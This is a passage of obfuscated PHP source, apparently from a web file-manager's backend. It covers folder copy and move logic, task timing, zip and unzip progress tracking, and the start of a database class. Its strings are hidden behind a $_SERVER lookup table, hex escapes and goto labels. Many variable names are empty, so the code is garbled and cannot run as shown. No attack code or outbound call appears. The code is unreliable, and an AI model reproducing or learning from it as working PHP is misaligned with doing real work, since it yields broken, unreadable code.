array($ؓ[566], $, 0)); } return $ˬ; } private function _copyCreate($, $, $, &$) { $ =& $_SERVER[㫙]; $𯁺 = $this->sourceInfoCache($); $ = $this->sourceInfoCache($); $ = $this->_makeItemData($𯁺, $, $); Hook::trigger($[567], $); Hook::trigger($[568], array($[569], $, 0)); $ = $this->add($); $ٚü = array($[403] => $, $[32] => $); $this->_copyApplyMeta($ٚü, $); if ($𯁺[$[411]] != $[89]) { $[$[560]][] = $𯁺[$[467]]; return $; } $ِ = array(); $䪐 = array(); $this->_childrenListAll($, $ِ); $Ӿ = count($ِ); if ($Ӿ == 0) { return $; } $ = $this->sourceInfo($); foreach ($ِ as $) { $ = $this->_makeItemData($, $, $[$[32]]); $[$[521]] = $[$[521]]; $䪐[] = $; } $this->chunkEventSet($[570], array($[571], $, $Ӿ)); $this->addAll($䪐, array(), !1); $ = $this->where(array($[498] => $))->select(); $մ = $this->_childrenMakeRelation($ِ, $); $մ[$] = $; $ȑ﷛ = array(); $ = array(); foreach ($ as $) { $㿸 = $[$[403]]; $ĸ = $this->_childrenMatch($մ, $, $); $ȑ﷛[] = array($[403], $㿸, $[498], $ĸ[$[498]]); $[] = array($[403], $㿸, $[521], $ĸ[$[521]]); $this->_copyApplyMeta($, $); if ($[$[411]] != $[89]) { $[$[560]][] = $[$[467]]; } } $this->chunkEventSet($[572], array($[573], $, $Ӿ)); $this->saveAll($ȑ﷛); $this->chunkEventSet($[574], array($[575], $, $Ӿ)); $this->saveAll($); return $; } private function _childrenMakeRelation($, $) { $ʹ =& $_SERVER[㫙]; $ = array(); $ޫ = array(); foreach ($ as $ؗ) { $ = $ؗ[$ʹ[32]] . $ʹ[8] . $ؗ[$ʹ[521]]; $[$] = $ؗ[$ʹ[403]]; } foreach ($ as $ؗ) { $ = $ؗ[$ʹ[32]] . $ʹ[8] . $ؗ[$ʹ[521]]; $٤ = $[$]; $ޫ[$٤] = $ؗ[$ʹ[403]]; } return $ޫ; } private function _childrenMatch($, $, $ה) { $߫ =& $_SERVER[㫙]; $ = $ה[$߫[521]]; $ = $this->parentLevelArray($[$߫[521]]); foreach ($ as $) { if (isset($[$])) { $ .= $[$] . $߫[576]; } } $ = rtrim($, $߫[50]) . $߫[50]; $㮼 = $this->parentLevelArray($); $Ă = $㮼[count($㮼) - 1]; return array($߫[498] => $Ă, $߫[521] => $); } private function _makeItemData($Ȗ, $, $Ӡ) { $ =& $_SERVER[㫙]; $ = array($[577] => $Ȗ[$[411]], $[421] => $Ӡ, $[578] => $Ȗ[$[413]] ? $Ȗ[$[413]] : $[12], $[468] => $Ȗ[$[467]] ? $Ȗ[$[467]] : 0, $[579] => $Ȗ[$[80]] ? $Ȗ[$[80]] : 0, $[580] => intval($[$[412]]), $[581] => intval($[$[504]]), $[582] => intval(USER_ID), $[583] => intval(USER_ID), $[402] => intval($[$[403]]), $[584] => $[$[521]] . $[$[403]] . $[50], $[425] => $Ȗ[$[86]] ? $Ȗ[$[86]] : time(), $[430] => 0, $[585] => $[12]); return $; } private function _copyApplyMeta($Ì, &$ӈ긒) { $⦞ =& $_SERVER[㫙]; $џ = $Ì[$⦞[403]]; $䤙 = $Ì[$⦞[32]]; if (!isset($Ì[$⦞[586]]) || !$Ì[$⦞[586]] || $Ì[$⦞[586]] == $⦞[190]) { $ӈ긒[$⦞[562]][] = array($⦞[403], $џ, $⦞[586], short_id($џ)); } if (Input::check($䤙, $⦞[587])) { $ӈ긒[$⦞[561]][] = array($⦞[403] => $џ, $⦞[95] => $⦞[464], $⦞[369] => str_replace($⦞[53], $⦞[12], Pinyin::get($䤙))); $ӈ긒[$⦞[561]][] = array($⦞[403] => $џ, $⦞[95] => $⦞[463], $⦞[369] => Pinyin::get($䤙, $⦞[588])); } $ӈ긒[$⦞[561]][] = array($⦞[403] => $џ, $⦞[95] => $⦞[442], $⦞[369] => KodSort::makeStr($䤙)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[㫙]; $Ѯ = $this->sourceInfo($); $φ = $[589]; $ń = array($[521] => array($[544], $Ѯ[$[521]] . $ . $[545]), $[431] => $this->targetIsDelete); $ɩ = $this->field($φ)->where($ń)->select(); if (!$ɩ) { return; } $ɩ = array_to_keyvalue($ɩ, $[403]); foreach ($ɩ as $׭) { $ڧ = $׭[$[498]]; $ = $׭[$[403]]; if (!isset($this->_childrenListCache[$]) && $׭[$[411]] == $[89]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$ڧ])) { $this->_childrenListCache[$ڧ] = array(); } $this->_childrenListCache[$ڧ][$] = $׭; $this->_childrenItemCache[$] = $׭; } } private function _childrenListAll($ʯ, &$灇) { $݄¯ =& $_SERVER[㫙]; if (!isset($this->_childrenListCache[$ʯ])) { return; } $،߫ = $this->_childrenListCache[$ʯ]; foreach ($،߫ as $ => $В) { $灇[$] = $В; if ($В[$݄¯[411]] == $݄¯[89]) { $this->_childrenListAll($, $灇); } } } private function sourceInfoCache($) { if (isset($this->_childrenItemCache[$])) { return $this->_childrenItemCache[$]; } return $this->sourceInfo($); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($î) { $ =& $_SERVER[㫙]; $ = array($[498] => $î, $[431] => $this->targetIsDelete); $ˮ = $this->where($)->select(); $ˮ = $ˮ ? $ˮ : array(); $켄 = array_to_keyvalue($ˮ, $[403]); $this->_childrenListCache[$î] = $켄; foreach ($켄 as $î => $򒧏) { $this->_childrenItemCache[$î] = $򒧏; } return $켄; } private function fileNameExistCache($, $Б۰) { $ =& $_SERVER[㫙]; $Б۰ = strtolower($Б۰); $ = $this->_childrenList($); foreach ($ as $׳) { if ($Б۰ == strtolower($׳[$[32]])) { return $׳[$[403]]; } } return !1; } private function fileNameAutoCache($ٔ, $˄, $ÑƤ, $) { $ =& $_SERVER[㫙]; $ = $this->_childrenList($ٔ); $ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($, $˄, $ÑƤ, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($, $ҘР, $ = REPEAT_REPLACE, $ڍ = '') { $֭ =& $_SERVER[㫙]; $Dz = $this->sourceInfo($); $ = $this->sourceInfo($ҘР); if ($Dz[$֭[498]] == $[$֭[403]]) { if ($Dz[$֭[431]] == $֭[89]) { Model($֭[429])->restore(array($)); } if (!$ڍ || $ڍ == $Dz[$֭[32]]) { return $; } } $㱫 = $this->pathInfoMore($); if ($this->isParentOf($, $ҘР)) { return !1; } if (!$Dz || !$ || $[$֭[411]] != $֭[89]) { return !1; } Hook::trigger($֭[590], $㱫); $this->targetIsDelete = intval($Dz[$֭[431]]); if ($Dz[$֭[498]] == $ҘР && $ڍ != $Dz[$֭[32]]) { $ = $this->fileNameExist($ҘР, $ڍ); if ($ && $Dz[$֭[411]] == $֭[190]) { $ = $this->sourceInfo($); $Պ = $this->fileHistory($, $Dz[$֭[467]], $Dz[$֭[80]]); if (!$Պ) { Model($֭[470])->remove($Dz[$֭[467]]); } $this->removeNow($, !1); $this->folderSizeReset($ҘР); Hook::trigger($֭[591], $㱫); return $; } } $ = $ڍ ? $ڍ : $Dz[$֭[32]]; $this->lockMoveStart($); $this->lockWriteStart($ҘР, $); $̨ރ = array($֭[560] => array(), $֭[592] => !1); $this->clearShare($, $ҘР); $֚ = $this->fileNameExistCache($ҘР, $Dz[$֭[32]]); $ꔸ = $this->_move($, $ҘР, $, $̨ރ, $ڍ); $this->sourceCacheClear(); if ($Dz[$֭[411]] == $֭[89] && $֚) { $this->folderSizeResetChildren($ꔸ); } Model($֭[192])->linkAdd($̨ރ[$֭[560]]); if ($֚ && $̨ރ[$֭[592]]) { $this->removeNow($, !1); } $this->lockMoveEnd($); $this->lockWriteEnd($ҘР, $); $this->folderSizeReset($Dz[$֭[498]]); $this->folderSizeReset($ҘР); $ = array($Dz[$֭[498]], $ҘР); if ($Dz[$֭[411]] == $֭[89]) { $[] = $; } $this->updateModifyTime($); Model($֭[564])->eventMove($, $Dz[$֭[498]], $ҘР); Hook::trigger($֭[591], $㱫); return $ꔸ; } private function _move($׺, $, $۳콪, &$, $ = '') { $‹ =& $_SERVER[㫙]; $ = $this->sourceInfo($׺); $Ϻ = $[$‹[411]] == $‹[89]; $ܗˀ = $ ? $ : $[$‹[32]]; $ž = $this->fileNameExistCache($, $ܗˀ); $this->lockMoveStart($׺); $this->lockWriteStart($, $ܗˀ); if (!$ž) { return $this->_moveForce($׺, $, $ܗˀ); } $׬ = $ž; $ = !1; if ($Ϻ) { if ($۳콪 == REPEAT_RENAME_FOLDER) { $ܗˀ = $this->fileNameAuto($, $ܗˀ, $۳콪, $Ϻ); $׬ = $this->_moveForce($׺, $, $ܗˀ); } else { if ($۳콪 == REPEAT_RENAME_FOLDER) { $۳콪 = REPEAT_RENAME; } $Ҭڻ = $this->_childrenListSelect($׺); foreach ($Ҭڻ as $ϣӕ) { $this->_move($ϣӕ[$‹[403]], $ž, $۳콪, $); } $ = !0; } } else { if ($۳콪 == REPEAT_SKIP) { $ = !0; } else { if ($۳콪 == REPEAT_RENAME || $۳콪 == REPEAT_RENAME_FOLDER) { $ܗˀ = $this->fileNameAuto($, $ܗˀ, $۳콪, $Ϻ); $׬ = $this->_moveForce($׺, $, $ܗˀ); } else { if ($۳콪 == REPEAT_REPLACE) { $ = $this->sourceInfoCache($ž); $Ӫ = $this->fileHistory($, $[$‹[467]], $[$‹[80]]); $ = !0; if ($Ӫ) { $[$‹[560]][] = $[$‹[467]]; } } } } } if ($ && !$[$‹[592]]) { $[$‹[592]] = !0; } return $׬; } private function _moveForce($ɀ, $ӛ, $Ƥ) { $Ѳ =& $_SERVER[㫙]; $֣ = $this->sourceInfo($ɀ); $ = $this->sourceInfo($ӛ); $흃 = $֣[$Ѳ[411]] == $Ѳ[89]; $ = array($Ѳ[402] => $[$Ѳ[403]], $Ѳ[584] => $[$Ѳ[521]] . $[$Ѳ[403]] . $Ѳ[50], $Ѳ[580] => $[$Ѳ[412]], $Ѳ[581] => $[$Ѳ[504]], $Ѳ[583] => USER_ID, $Ѳ[421] => $Ƥ); $ǖ = $֣[$Ѳ[412]] == SourceModel::TYPE_GROUP && $[$Ѳ[412]] == SourceModel::TYPE_GROUP && $֣[$Ѳ[504]] == $[$Ѳ[504]]; if (!$ǖ && $this->moveClearAuth) { Model($Ѳ[502])->authClear($ɀ); } $ = $֣[$Ѳ[431]] == $Ѳ[89] && $[$Ѳ[431]] != $Ѳ[89]; if ($) { $[$Ѳ[430]] = 0; } if ($흃) { $󄐿 = array($Ѳ[584] => array($Ѳ[544], $֣[$Ѳ[521]] . $֣[$Ѳ[403]] . $Ѳ[545])); $ = $֣[$Ѳ[521]] . $֣[$Ѳ[403]] . $Ѳ[50]; $ૄ = $[$Ѳ[521]] . $[$Ѳ[403]] . $Ѳ[50] . $֣[$Ѳ[403]] . $Ѳ[50]; $ = array($Ѳ[584] => array($Ѳ[593], "\x72\x65\x70\x6c\141\143\x65\50\160\x61\162\x65\156\x74\x4c\145\x76\145\154\x2c\47{$}\47\54\x27{$ૄ}\x27\x29"), $Ѳ[580] => $[$Ѳ[412]], $Ѳ[581] => $[$Ѳ[504]]); if ($) { $[$Ѳ[430]] = 0; } $this->where($󄐿)->data($)->save(); } $this->where(array($Ѳ[418] => $ɀ))->data($)->save(); return $ɀ; } private function clearShare($ꉁ, $يӌ) { $脒 =& $_SERVER[㫙]; $ = $this->sourceInfo($ꉁ); $ؔ = $this->sourceInfo($يӌ); if ($[$脒[504]] == $ؔ[$脒[504]] && $[$脒[412]] == $脒[594]) { return; } $ѻ = array($脒[521] => array($脒[544], $[$脒[521]] . $ꉁ . $脒[545])); $Ή = $this->field($脒[418])->where($ѻ)->getField($脒[403], !0); if (!$Ή) { return; } $ѻ = array($脒[403] => array($脒[7], $Ή), $脒[495] => 1); $ = Model($脒[595])->field($脒[488])->where($ѻ)->select(); if (!$) { return; } $ = array_to_keyvalue($, $脒[12], $脒[488]); $ѻ = array($脒[488] => array($脒[7], $)); Model($脒[595])->where($ѻ)->save(array($脒[495] => 0)); Model($脒[596])->where($ѻ)->delete(); } public function copyFolderFromIO($, $¿, $ӵ, $Х, $, $֞ = false) { $ =& $_SERVER[㫙]; $ݫߥ = array($[561] => array(), $[562] => array(), $[560] => array(), $[597] => array()); $ƛ؈ = $֞ ? $֞ : $->pathThis($¿); $ޘ = $this->fileNameExist($ӵ, $ƛ؈); $Χ = $this->mkdir($ӵ, $ƛ؈, $Х); if (!$ޘ || $Х == REPEAT_RENAME_FOLDER) { $Х = !1; } if ($ޘ) { $this->_childrenAllMake($ޘ); } Hook::trigger($[598]); $this->_copyChildTo($, $¿, $Χ, $Х, $ݫߥ, $); Hook::trigger($[599]); if ($Χ) { $this->folderSizeResetChildren($Χ); } $this->_childrenListClear(); Model($[563])->addAll($ݫߥ[$[561]], array(), !0); Model($[564])->eventCopy($Χ); $this->saveAll($ݫߥ[$[562]]); Model($[470])->linkAdd($ݫߥ[$[560]]); Model($[470])->remove($ݫߥ[$[597]]); $this->folderSizeReset($ӵ); $this->updateModifyTime($ӵ); return $Χ; } private function _copyChildTo($ݢ, $˘ш, $, $ۺ߄, &$ڳǻ, $Ӯ) { $ݸ =& $_SERVER[㫙]; $ݠ = $this->sourceInfoCache($); $ = $ݢ->listPath($˘ш); $ = $ ? $ : array($ݸ[76] => array(), $ݸ[77] => array()); $˹ = array_merge($[$ݸ[76]], $[$ݸ[77]]); $嶋 = $this->_addFiles($ݢ, $[$ݸ[76]], $Ӯ); $ǧ = array(); foreach ($˹ as &$̏) { if (isset($嶋[$̏[$ݸ[32]]])) { $̏ = $嶋[$̏[$ݸ[32]]]; } $̏[$ݸ[411]] = $̏[$ݸ[33]] == $ݸ[79]; $̏[$ݸ[413]] = _get($̏, $ݸ[167], $ݸ[12]); $̏[$ݸ[80]] = _get($̏, $ݸ[80], 0); $̏[$ݸ[467]] = _get($̏, $ݸ[467], 0); if (!isset($̏[$ݸ[600]]) && $̏[$ݸ[467]]) { $ڳǻ[$ݸ[597]][] = $̏[$ݸ[467]]; } if ($ۺ߄) { $ = $this->fileNameExistCache($, $̏[$ݸ[32]]); if ($) { if ($̏[$ݸ[411]] || $ۺ߄ == REPEAT_SKIP) { continue; } if ($ۺ߄ == REPEAT_REPLACE) { $؂ = $this->sourceInfoCache($); $ށ = $this->fileHistory($؂, $̏[$ݸ[467]], $̏[$ݸ[80]]); if ($ށ) { $ڳǻ[$ݸ[560]][] = $̏[$ݸ[467]]; } continue; } else { if ($ۺ߄ == REPEAT_RENAME) { $̏[$ݸ[32]] = $this->fileNameAutoCache($, $̏[$ݸ[32]], $ۺ߄, !1); } } } } if (!$̏[$ݸ[411]] && $̏[$ݸ[467]] == 0) { continue; } if (!$̏[$ݸ[411]] && $̏[$ݸ[467]]) { $ڳǻ[$ݸ[560]][] = $̏[$ݸ[467]]; } $ǧ[] = $this->_makeItemData($̏, $ݠ, $̏[$ݸ[32]]); } unset($̏); if (!empty($ǧ)) { $this->addAll($ǧ); $this->_childrenListSelect($); } $ = $this->_childrenList($); $ = array_to_keyvalue($, $ݸ[32]); foreach ($˹ as $̏) { $؂ = $[$̏[$ݸ[32]]]; $褝 = $؂[$ݸ[403]]; $this->_copyApplyMeta($؂, $ڳǻ); if ($̏[$ݸ[33]] == $ݸ[79]) { $̏[$ݸ[78]] = $ݢ->getPathInner($̏[$ݸ[78]]); $this->_copyChildTo($ݢ, $̏[$ݸ[78]], $褝, $ۺ߄, $ڳǻ, $Ӯ); } } } private function _addFiles($, $, $ѵ) { $ =& $_SERVER[㫙]; if (!$ || count($) == 0) { return array(); } $̚ = array(); foreach ($ as &$ٲ) { Hook::trigger($[601], $ٲ); $ٲ[$[78]] = $->getPathInner($ٲ[$[78]]); $樓 = $->hashSimple($ٲ[$[78]]); $Լ = $->hashMd5($ٲ[$[78]]); if (strlen($Լ) > 10 && !isset($̚[$Լ])) { $̚[$Լ] = array(); } $ٲ[$[170]] = $樓; $ٲ[$[169]] = $Լ; Hook::trigger($[602], $ٲ); $̚[$Լ][] =& $ٲ; if (count($̚[$Լ]) > 1) { $ٲ[$[600]] = !0; } } unset($ٲ); $ = array($[169] => array($[7], array_keys($̚))); $׷ = Model($[603]); $텗 = $׷->where($)->select(); $텗 = $텗 ? $텗 : array(); foreach ($텗 as $ݕ) { if (!isset($̚[$ݕ[$[169]]])) { continue; } $Ī = $̚[$ݕ[$[169]]]; foreach ($Ī as &$ٲ) { $ٲ[$[467]] = $ݕ[$[467]]; $ٲ[$[600]] = !0; } unset($ٲ); } $ = array(); foreach ($ as $֖) { if (isset($֖[$[600]]) && $֖[$[600]]) { continue; } $ߡ = $->getPathInner($֖[$[78]]); $֖ = $׷->addFileMake($ߡ, $֖[$[80]], $֖[$[170]], $֖[$[169]], $֖[$[32]], $ѵ); if (!is_array($֖)) { continue; } $[] = $֖; } $׷->addAll($); $ = array($[169] => array($[7], array_keys($̚))); $텗 = $׷->where($)->select(); $텗 = $텗 ? $텗 : array(); foreach ($텗 as $ݕ) { if (!isset($̚[$ݕ[$[169]]])) { continue; } $υ =& $̚[$ݕ[$[169]]]; foreach ($υ as &$ٲ) { $ٲ[$[467]] = $ݕ[$[467]]; } unset($ٲ); } $ɰ = array(); foreach ($ as $Ѥ) { $ɰ[$Ѥ[$[32]]] = $Ѥ; } return $ɰ; } } goto Eތ; C۔: function binCheckBigger($ے, $磲) { return $ے > $磲; } $_SERVER[$_SERVER[顫][3]] = ("\x38\x30\x30\x34"."\60\60")+0;$_ump9="pd8gaws70r63czbhefvt59jx1i2nolyumkq4q9jw21exioygcdu756s83matbpn4flh0vkzrsz5wvi";; class ClassBaseCall { protected static $_methodListStatic = array(); protected static $_methodList = array(); public function __call($, $ڄ) { $հ记 =& $_SERVER[㫙]; if (isset(self::$_methodList[$])) { return @call_user_func_array(self::$_methodList[$], $ڄ); } else { if (method_exists($this, $)) { return call_user_func_array(array($this, $), $ڄ); } else { think_exception(__CLASS__ . $հ记[4] . $ . $հ记[5]); } } } public static function __callStatic($, $ɝ) { if (isset(self::$_methodListStatic[$])) { return call_user_func_array(self::$_methodListStatic[$], $ɝ); } else { if (method_exists(self, $)) { return call_user_func_array(array(self, $), $ɝ); } else { show_json("{$}\50\x29\x20\x6e\157\x74\x20\x65\x78\x69\x73\x74\x3b", !1); } } } public static function addMethod($, $׬˕) { self::$_methodList[$] = $׬˕; } public static function addMethodStatic($ݮʸ, $) { self::$_methodListStatic[$ݮʸ] = $; } } goto eʦ; A̾ꨥ: class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ƭР, $㉘ = 5.0) { if (!$ƭР) { return; } $ = Cache::get($ƭР); if (!$ || timeFloat() - floatVal($) >= $㉘) { Cache::set($ƭР, timeFloat(), $㉘ * 10); return !0; } return !1; } public static function timeLimitCall($, $, $إ, $顬 = 5.0) { $ =& $_SERVER[㫙]; if (!$ || !$) { return; } self::$asyncAdd = !0; $ߣ = $[1732]; $ = Cache::get($ߣ, !0); $ғߡ = array($[1733] => timeFloat(), $[1734] => timeFloat(), $[259] => $, $[1727] => $إ, $[196] => $顬); if (is_array($[$])) { $ғߡ[$[1734]] = $[$][$[1734]]; } if (is_array($[$])) { if (timeFloat() - $[$][$[1733]] < $ғߡ[$[196]] * 0.3) { return; } $ғߡ[$[1734]] = $[$][$[1734]]; } $[$] = $ғߡ; Cache::set($ߣ, $, 60); Cache::removeMemory($ߣ); write_log($[1735] . $ . $[71] . $, $[1729]); } public static function timeLimitCallLoop() { $¬ď =& $_SERVER[㫙]; $ = array($¬ď[1736]); $Ƀ = in_array(strtolower(ACTION), $); if (!$Ƀ && !self::$asyncAdd) { return; } $σ = $¬ď[1732]; $Μ = Cache::get($σ, !0); if (!$Μ || count($Μ) <= 0) { return; } $ُ = !1; $麺 = timeFloat(); $̱ˮ = array(); foreach ($Μ as $Ф => $) { if ($麺 - $[$¬ď[1734]] > $[$¬ď[196]]) { $ُ = !0; try { Hook::apply($[$¬ď[259]], $[$¬ď[1727]]); write_log($¬ď[1737] . $Ф . $¬ď[71] . $[$¬ď[259]] . $¬ď[1738] . ACTION, $¬ď[1729]); } catch (Exception $֚) { } continue; } $̱ˮ[$Ф] = $; } if (!$ُ) { return; } if (!$̱ˮ) { return Cache::remove($σ); } Cache::set($σ, $̱ˮ, 60); Cache::removeMemory($σ); } public static function finished($, $) { $ =& $_SERVER[㫙]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[259] => $, $[1727] => $); } private static function finishedRun() { $؉ =& $_SERVER[㫙]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $Ǣ) { try { Hook::apply($Ǣ[$؉[259]], $Ǣ[$؉[1727]]); } catch (Exception $͐Ǐ) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $׿ =& $_SERVER[㫙]; parent::startAfter(); Hook::bind($׿[1739], array($this, $׿[1740])); Hook::bind($׿[1188], array($this, $׿[1741])); $η =& $this->task; $η[$׿[1742]] = $׿[1193]; if (!$η[$׿[1548]]) { $η[$׿[1548]] = LNG($׿[1743]); } } protected function endAfter() { $ԋշ =& $_SERVER[㫙]; parent::endAfter(); Hook::unbind($ԋշ[1739], array($this, $ԋշ[1740])); Hook::unbind($ԋշ[1188], array($this, $ԋշ[1741])); } public function updateAfter() { $ރ =& $_SERVER[㫙]; $ =& $this->task; if (!$[$ރ[787]] || !$[$ރ[764]]) { return; } if ($[$ރ[1742]] == $ރ[1193]) { $Ҷ = 0; if ($[$ރ[1698]]) { $Ҷ = $[$ރ[1699]] / $[$ރ[1698]]; } $[$ރ[1652]] = $Ҷ * 0.3; } else { if ($[$ރ[1742]] == $ރ[308]) { $Ҷ = $[$ރ[1651]] / $[$ރ[787]]; $[$ރ[1652]] = 0.3 + $Ҷ * 0.4; } else { if ($[$ރ[1742]] == $ރ[108]) { $㦼 = 0; if ($[$ރ[1700]] == $ރ[108]) { $㦼 = $[$ރ[1699]]; } $Ҷ = ($[$ރ[1703]] + $㦼) / $[$ރ[764]]; $[$ރ[1652]] = 0.3 + 0.4 + $Ҷ * 0.3; } } } if ($[$ރ[1652]] > 0) { $ʆʢ = timeFloat() - $[$ރ[1654]] - $[$ރ[1657]]; $[$ރ[1658]] = $ʆʢ * (1 - $[$ރ[1652]]) / $[$ރ[1652]]; } } public function addFile($ւ) { $ =& $_SERVER[㫙]; $ =& $this->task; $ʱ = IO::info($ւ); $[$[1696]] = $ʱ[$[32]]; $[$[1698]] = $ʱ[$[80]]; $[$[1699]] = 0; $[$[1060]] = $[1718]; $[$[1700]] = $[1193]; $[$[764]] = $ʱ[$[80]]; $[$[787]] = 1; $ߛ聜 = 0; $[$[1707]] = array($[1708] => $ߛ聜 + 1, $[421] => $ʱ[$[32]], $[78] => $ʱ[$[78]], $[519] => $ʱ[$[519]] ? $ʱ[$[519]] : $ʱ[$[78]]); $this->update(); } public function unzipAfter($) { $խϬ =& $_SERVER[㫙]; $鱄 =& $this->task; $鱄[$խϬ[1742]] = $խϬ[108]; $ŗ = IO::infoWithChildren($); $ہ = 0; $鱄[$խϬ[1707]] = array($խϬ[1708] => $ہ + 1, $խϬ[421] => $ŗ[$խϬ[32]], $խϬ[78] => $ŗ[$խϬ[78]], $խϬ[519] => $ŗ[$խϬ[519]] ? $ŗ[$խϬ[519]] : $ŗ[$խϬ[78]]); if ($ŗ[$խϬ[33]] == $խϬ[192]) { $鱄[$խϬ[787]] = 1; } else { $鱄[$խϬ[787]] = $ŗ[$խϬ[83]][$խϬ[81]]; } $鱄[$խϬ[1060]] = $խϬ[12]; $鱄[$խϬ[1700]] = 0; $鱄[$խϬ[1651]] = 0; $鱄[$խϬ[1698]] = 0; $鱄[$խϬ[1699]] = 0; $鱄[$խϬ[1696]] = $խϬ[12]; $鱄[$խϬ[1703]] = 0; $鱄[$խϬ[764]] = $ŗ[$խϬ[80]]; $this->update(); self::log($խϬ[1744] . json_encode(array($鱄, $ŗ))); } public function nameParse($) { $ =& $_SERVER[㫙]; $ׂ =& $this->task; if ($ׂ[$[1742]] == $[1193]) { $ׂ[$[1742]] = $[308]; $ׂ[$[1703]] = 0; $ׂ[$[764]] = 0; } $烔 = get_path_this($); if (strstr($烔, $[10])) { $ׂ[$[1651]] += 1; $ׂ[$[787]] += 1; } $ׂ[$[1696]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $Ѵ =& $_SERVER[㫙]; parent::startAfter(); Hook::bind($Ѵ[1745], array($this, $Ѵ[1740])); $檏 =& $this->task; $檏[$Ѵ[1742]] = $Ѵ[1193]; if (!$檏[$Ѵ[1548]]) { $檏[$Ѵ[1548]] = LNG($Ѵ[1746]); } } protected function endAfter() { $λ =& $_SERVER[㫙]; parent::endAfter(); Hook::unbind($λ[1745], array($this, $λ[1740])); } public function updateAfter() { $ =& $_SERVER[㫙]; $ێ =& $this->task; if (!$ێ[$[787]] || !$ێ[$[764]]) { return; } if ($ێ[$[1742]] == $[1193]) { $М = $ێ[$[1699]]; if ($ێ[$[1700]] != $[1193]) { $М = 0; } $ = ($ێ[$[1703]] + $М) / $ێ[$[764]]; $ێ[$[1652]] = $ * 0.3; } else { if ($ێ[$[1742]] == $[308]) { $ = $ێ[$[1651]] / $ێ[$[787]]; $ێ[$[1652]] = 0.3 + $ * 0.5; } else { if ($ێ[$[1742]] == $[108]) { $ = 0; if ($ێ[$[1698]]) { $ = $ێ[$[1699]] / $ێ[$[1698]]; } $ێ[$[1652]] = 0.3 + 0.5 + $ * 0.2; } } } if ($ێ[$[1652]] > 0) { $dz = timeFloat() - $ێ[$[1654]] - $ێ[$[1657]]; $ێ[$[1658]] = $dz * (1 - $ێ[$[1652]]) / $ێ[$[1652]]; } } public function copyFileStart($ڨ, $, $, $ق, $؏, $ڃȍ) { $ =& $_SERVER[㫙]; parent::copyFileStart($ڨ, $, $, $ق, $؏, $ڃȍ); $̄ =& $this->task; if ($̄[$[1742]] == $[308]) { $̄[$[1742]] = $[108]; } $this->update(); } public function copyFileEnd($ך, $׾ϸ, $, $, $, $) { $賂 =& $_SERVER[㫙]; $ڐ =& $this->task; $ڐ[$賂[1699]] = $ڐ[$賂[1698]]; $ڐ[$賂[1703]] += $ڐ[$賂[1698]]; $ڐ[$賂[1700]] = $賂[12]; $this->update(); } public function nameParse($Ŭ) { $Ĕˮ =& $_SERVER[㫙]; $ =& $this->task; if ($[$Ĕˮ[1651]] < $[$Ĕˮ[787]]) { $ǫ = get_path_this($Ŭ); if (strstr($ǫ, $Ĕˮ[10])) { $[$Ĕˮ[1651]] += 1; } } if ($[$Ĕˮ[1742]] == $Ĕˮ[1193]) { $[$Ĕˮ[1742]] = $Ĕˮ[308]; } $[$Ĕˮ[1696]] = $Ŭ; $this->update(); } } goto b㌴; DŶ: class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\x5f\164\x68\151\x6e\x6b\x5f"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\x65\161" => "\75", "\x6e\x65\x71" => "\74\x3e", "\147\164" => "\x3e", "\x65\x67\164" => "\x3e\75", "\154\164" => "\74", "\145\x6c\x74" => "\x3c\75", "\x6e\157\x74\x6c\151\153\145" => "\116\117\x54\40\114\x49\113\105", "\x6c\x69\153\145" => "\x4c\111\x4b\x45", "\151\156" => "\x49\x4e", "\156\x6f\164\x69\156" => "\116\117\x54\40\111\116", "\x6e\157\x74\40\x69\156" => "\x4e\x4f\x54\x20\111\x4e", "\x62\x65\164\x77\145\x65\156" => "\102\x45\x54\127\105\105\116", "\156\157\x74\x62\x65\164\167\x65\145\156" => "\x4e\x4f\x54\40\x42\105\x54\x57\x45\105\116", "\156\157\x74\40\x62\145\164\x77\x65\x65\156" => "\116\x4f\x54\40\102\x45\124\x57\x45\x45\x4e"); protected $selectSql = "\x53\105\114\105\x43\124\x25\x44\111\123\x54\111\x4e\x43\x54\45\x20\x25\106\x49\105\114\104\x25\x20\x46\x52\117\x4d\40\45\x54\101\x42\x4c\105\x25\x25\x4a\117\x49\x4e\x25\45\127\110\x45\x52\x45\45\x25\x47\122\117\125\x50\45\45\110\101\x56\x49\116\107\45\x25\117\x52\104\105\122\45\x25\114\111\115\111\x54\x25\x20\x25\125\x4e\111\x4f\x4e\x25\x25\103\x4f\x4d\115\105\116\x54\x25"; protected $bind = array(); public static function getInstance() { $Ȱ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[㫙][956], $Ȱ); } public function factory($ = '') { $ܺ =& $_SERVER[㫙]; $ = $this->parseConfig($); if (empty($[$ܺ[957]])) { think_exception(think_lang($ܺ[958])); } $this->dbType = ucwords(strtolower($[$ܺ[957]])); $ = $ܺ[959] . $this->dbType; if (class_exists($)) { $ = new $($); if ($ܺ[960] != strtolower($[$ܺ[957]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$ܺ[912]]); } } else { think_exception(think_lang($ܺ[961]) . $ܺ[962] . $); } return $; } public function __call($ш, $؀) { if (method_exists($this, $ш)) { return call_user_func_array(array($this, $ш), $؀); } } protected function _getDsnType($ؠ) { $֡ = explode($_SERVER[㫙][4], $ؠ); $ = strtoupper(trim($֡[0])); return $; } private function parseConfig($ȹ = '') { $ =& 